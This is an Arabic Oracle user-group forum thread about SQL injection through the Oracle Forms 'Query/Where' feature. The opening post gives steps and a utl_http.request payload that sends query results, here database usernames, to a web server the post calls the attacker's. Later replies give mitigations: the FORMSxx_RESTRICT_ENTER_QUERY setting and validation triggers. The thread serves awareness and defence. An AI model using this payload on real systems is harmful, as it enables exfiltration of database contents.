الانتقال إلى المحتوى
View in the app

A better way to browse. Learn more.

مجموعة مستخدمي أوراكل العربية

A full-screen app on your home screen with push notifications, badges and more.

To install this app on iOS and iPadOS
  1. Tap the Share icon in Safari
  2. Scroll the menu and tap Add to Home Screen.
  3. Tap Add in the top-right corner.
To install this app on Android
  1. Tap the 3-dot menu (⋮) in the top-right corner of the browser.
  2. Tap Add to Home screen or Install app.
  3. Confirm by tapping Install.

Hacker And Form

Featured Replies

بتاريخ:

السلام عليكم ..........

هل يستطيع hacker أن يستغل الفورم وينفذ جمل sql كما يشاء؟؟؟؟؟؟؟

الإجابة/ نعم

معلومة في الملف المرفق بالأسفل رائعة ياليت يستفيد منها الكل

*********************************(بشكل مختصر)****************************

هنالك شيء قديم منسي في الاوراكل .
يوجد في الاوراكل ميزة تسمى “Query/Where” تسمح لأي مستخدم بالتعديل بجمل sql الحالية هذه ميزة مفيدة جدا للمستعملين المصرح لهم ولكنها في نفس الوقت خطيرة لأن كل مستخدم يستعمل برامج الواجهات للاوراكل يمكن ان ينفذ أي جمل sql

قد يكون الكلام غير واضح لكن لنأخذ مثال((Scott.emp :
===================================
1)-افتح فورم جديدة وجعل الوضع query بعد ذلك قم بإدخال علامة النقطتان
(: ) أو (&)


post-30456-1171557971.jpg

2)- قم بتنفيذ الامر Execute_query ستظهر النافذة “Query/Where” فارغة

post-30456-1171558045.jpg

3)- قم بإدخال جملة .Sql جملة وهي تقوم بإرسال الناتج لجملة Sql (select username from all_users where rownum=1) إلى web server خارجي او داخلي
لكن تذكر utl_http تقبل طلب صف واحد من الاستعلام فقط

post-30456-1171558249.jpg

Ename=utl_http.request('pcorcl:8888/'||(select username from all_users where rownum=1))

خادم الوب للمهاجم يحتوي الان على نتيجة الاستفسار للجملة السابقة

اما إذا كانت جملة Sql غير صحيحة مثل :

Ename=utl_http.request('pcorcl:8888/'||(select username from dualx))

post-30456-1171558667.jpg

سوف يرجع الاوراكل بالخطأ التالي (FRM-40505: Oracle error: unable to perform query)
تستطيع ان تحصل على معلومات الخطأ التالي من خلال CTRL+SHIFT+E

post-30456-1171558735.jpg

ما هو الضرر او التاثير الذي يحدث من هذه العملية؟؟؟؟؟؟؟؟؟؟

كل مستخدم يستطيع ان يستعلم عن البيانات الموجودة في الداتابيز وهذه مشكلة. في كل الحالات يستطيع المستخدم ان ينفذ PLSQL packages ويمنحها لـ public .

حل المشكلة-
هنالك طريقتين لحل المشكلة :

الطريقة الاولى :
استخدام Trigger/On_error,pre-quey
الطريقة الثانية :
وهي طريقة اسهل بتغير قيمة بارميتر


ملاحظة:
لمن يطلع على الملف المرفق إذا استطاع تفادي المشكلة الرجاء الإجابة حاولت احل المشكلة بالطريقة الاولى ونجحت ولاكن عند تنفيذ execute_query لا تخرج البيانات اما الطريقة الثانية لم اعرفها المثال مجرب (9i ) وشكرا .

اتمنى ان تكون هذه معلومة جديدة .
الملف
sql_injection_forms_us.pdf

بتاريخ:

فعلا لقد سمعت عن هذه المشكلة في احد المنتديات الاجنبية

يمكنك حل هذه المشكلة بتغير قيمة الباراميتر

FORMSxx_RESTRICT_ENTER_QUERY=true



انا شخصيا لم اجربها ولكن سمعت عنها <_<

بتاريخ:
  • كاتب الموضوع

مشكور عزيزي moody_4u

لاكن يبقى الأن كيفية الحصول على البارميتر

وتغير قيمته

بتاريخ:

Set the undocumented environment variable FORMSxx_RESTRICT_ENTER_QUERY=true (FORMS60_RESTRICT_ENTER_QUERY for Forms 6.x, FORMS90_RESTRICT_ENTER_QUERY for Forms 9.x/10g) and restart the Forms server. This environment variable disables the possibility of using the query/where functionality.
or only if really need Query/Where:

Write a PRE_QUERY/ON-ERROR-trigger for EVERY input field and validate the entire input for EVERY Oracle Forms module (*.fmb)

بتاريخ:
  • كاتب الموضوع

شكرا اخي اسامة المعلومة التي كتبتها ان اعرفها

ولكن البارميتر في اي فولدر يمكن الحصول عليه ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟


والطريقة الأخرى جربتها لاكن لم تفلح وإذا كنت عاملها
وضح لنا اكثر حتى تعم الفائدة للجميع

وجزاك الله خير

انضم إلى المناقشة

يمكنك المشاركة الآن والتسجيل لاحقاً. إذا كان لديك حساب, سجل دخولك الآن لتقوم بالمشاركة من خلال حسابك.

زائر
أضف رد على هذا الموضوع...

برجاء الإنتباه

بإستخدامك للموقع فأنت تتعهد بالموافقة على هذه البنود: سياسة الخصوصية

Account

Navigation

البحث

إعداد إشعارات المتصفح الفورية

Chrome (Android)
  1. Tap the lock icon next to the address bar.
  2. Tap Permissions → Notifications.
  3. Adjust your preference.
Chrome (Desktop)
  1. Click the padlock icon in the address bar.
  2. Select Site settings.
  3. Find Notifications and adjust your preference.